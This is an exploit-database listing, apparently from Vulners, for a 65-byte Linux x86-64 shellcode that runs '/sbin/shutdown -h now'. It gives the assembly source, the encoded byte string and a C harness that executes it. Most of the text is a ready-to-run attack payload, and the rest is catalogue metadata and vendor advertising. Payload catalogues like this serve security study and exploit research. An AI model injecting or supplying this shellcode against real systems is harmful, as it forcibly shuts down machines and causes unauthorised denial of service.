Lucene search
K

Linux/x86-64 - shutdown -h now Shellcode (65 bytes)

🗓️ 15 Jan 2018 00:00:00Reported by Osanda Malith JayathissaType 
zdt
 zdt
🔗 0day.today👁 11 Views

Linux/x86-64 shutdown Shellcode 65 byte

Code
/*
; Title: shutdown -h now x86_64 Shellcode - 65 bytes
; Platform: linux/x86_64
; Date: 2014-06-27
; Author: Osanda Malith Jayathissa (@OsandaMalith)
 
section .text
 
global _start
 
_start:
 
xor rax, rax
xor rdx, rdx 
 
push rax
push byte 0x77
push word 0x6f6e ; now
mov rbx, rsp
 
push rax
push word 0x682d ;-h
mov rcx, rsp
 
push rax
mov r8, 0x2f2f2f6e6962732f ; /sbin/shutdown
mov r10, 0x6e776f6474756873
push r10
push r8
mov rdi, rsp
 
push rdx
push rbx
push rcx
push rdi
mov rsi, rsp
 
add rax, 59
syscall
 
*/
 
#include <stdio.h>
#include <string.h>
 
unsigned char code[] =  "\x48\x31\xc0\x48\x31\xd2\x50\x6a"
"\x77\x66\x68\x6e\x6f\x48\x89\xe3"
"\x50\x66\x68\x2d\x68\x48\x89\xe1"
"\x50\x49\xb8\x2f\x73\x62\x69\x6e"
"\x2f\x2f\x2f\x49\xba\x73\x68\x75"
"\x74\x64\x6f\x77\x6e\x41\x52\x41"
"\x50\x48\x89\xe7\x52\x53\x51\x57"
"\x48\x89\xe6\x48\x83\xc0\x3b\x0f"
"\x05";
 
int
main() {
 
printf("Shellcode Length:  %d\n", (int)strlen(code));
int (*ret)() = (int(*)())code;
ret();
 
return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

15 Jan 2018 00:00Current
0.3Low risk
Vulners AI Score0.3
11